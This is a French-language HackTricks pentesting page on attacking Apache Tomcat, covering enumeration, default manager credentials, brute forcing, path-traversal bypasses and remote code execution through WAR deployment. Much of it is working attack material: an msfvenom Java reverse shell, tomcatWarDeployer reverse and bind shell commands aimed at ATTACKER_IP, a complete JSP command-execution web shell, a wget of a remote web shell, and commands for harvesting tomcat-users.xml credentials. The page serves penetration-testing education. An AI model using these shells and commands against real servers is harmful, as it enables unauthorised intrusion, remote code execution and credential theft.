hacktricks/network-services-pentesting/pentesting-web/tomcat.md

11 KiB

Tomcat

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Découverte

  • Il fonctionne généralement sur le port 8080
  • Erreur courante de Tomcat:

Énumération

Identification de la version

Pour trouver la version d'Apache Tomcat, une commande simple peut être exécutée:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Emplacement des Fichiers du Gestionnaire

Identifier les emplacements exacts des répertoires /manager et /host-manager est crucial car leurs noms pourraient être modifiés. Une recherche par force brute est recommandée pour localiser ces pages.

Énumération des Noms d'Utilisateur

Pour les versions de Tomcat antérieures à 6, il est possible d'énumérer les noms d'utilisateur à travers :

msf> use auxiliary/scanner/http/tomcat_enum

Informations d'identification par défaut

Le répertoire /manager/html est particulièrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut entraîner l'exécution de code. Ce répertoire est protégé par une authentification HTTP de base, avec des informations d'identification courantes telles que :

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Ces informations d'identification peuvent être testées en utilisant :

msf> use auxiliary/scanner/http/tomcat_mgr_login

Une autre répertoire notable est /manager/status, qui affiche la version de Tomcat et du système d'exploitation, facilitant l'identification des vulnérabilités.

Attaque par Force Brute

Pour tenter une attaque par force brute sur le répertoire du gestionnaire, on peut utiliser :

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Vulnérabilités Courantes

Divulgation de Trace de Mot de Passe

Accéder à /auth.jsp peut révéler le mot de passe dans une trace de mot de passe dans des circonstances favorables.

Encodage d'URL Double

La vulnérabilité CVE-2007-1860 dans mod_jk permet un encodage d'URL double pour la traversée de chemin, permettant un accès non autorisé à l'interface de gestion via une URL spécialement conçue.

Pour accéder à l'interface web de gestion de Tomcat, allez à : cheminTomcat/%252E%252E/manager/html

/examples

Les versions d'Apache Tomcat de 4.x à 7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques de script entre sites (XSS). Ces scripts, énumérés de manière exhaustive, doivent être vérifiés pour un accès non autorisé et une exploitation potentielle. Trouvez plus d'informations ici

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Exploitation de Traversée de Chemin

Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/

Ainsi, par exemple, vous pourriez être en mesure d'accéder à la page du gestionnaire Tomcat en accédant à : www.vulnerable.com/lalala/..;/manager/html

Une autre façon de contourner les chemins protégés en utilisant ce truc est d'accéder à http://www.vulnerable.com/;param=value/manager/html

RCE

Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouvez téléverser et déployer un fichier .war (exécuter du code).

Limitations

Vous ne pourrez déployer un WAR que si vous avez suffisamment de privilèges (rôles : admin, manager et manager-script). Ces détails peuvent être trouvés dans tomcat-users.xml généralement défini dans /usr/share/tomcat9/etc/tomcat-users.xml (cela varie selon les versions) (voir la section POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Coquille inversée MSFVenom

  1. Créez le war à déployer :
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

Liens et coquilles avec tomcatWarDeployer.py

Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)

Télécharger

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Coquille inversée

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Coquille de liaison

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilisation de Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Méthode manuelle - Coquille Web

Créez index.jsp avec ce contenu:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Méthode manuelle 2

Obtenez un shell web JSP tel que celui-ci et créez un fichier WAR :

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Le nom du fichier d'identifiants de Tomcat est tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Autres moyens de collecter les identifiants Tomcat :

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Autres outils de scan Tomcat

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement aujourd'hui.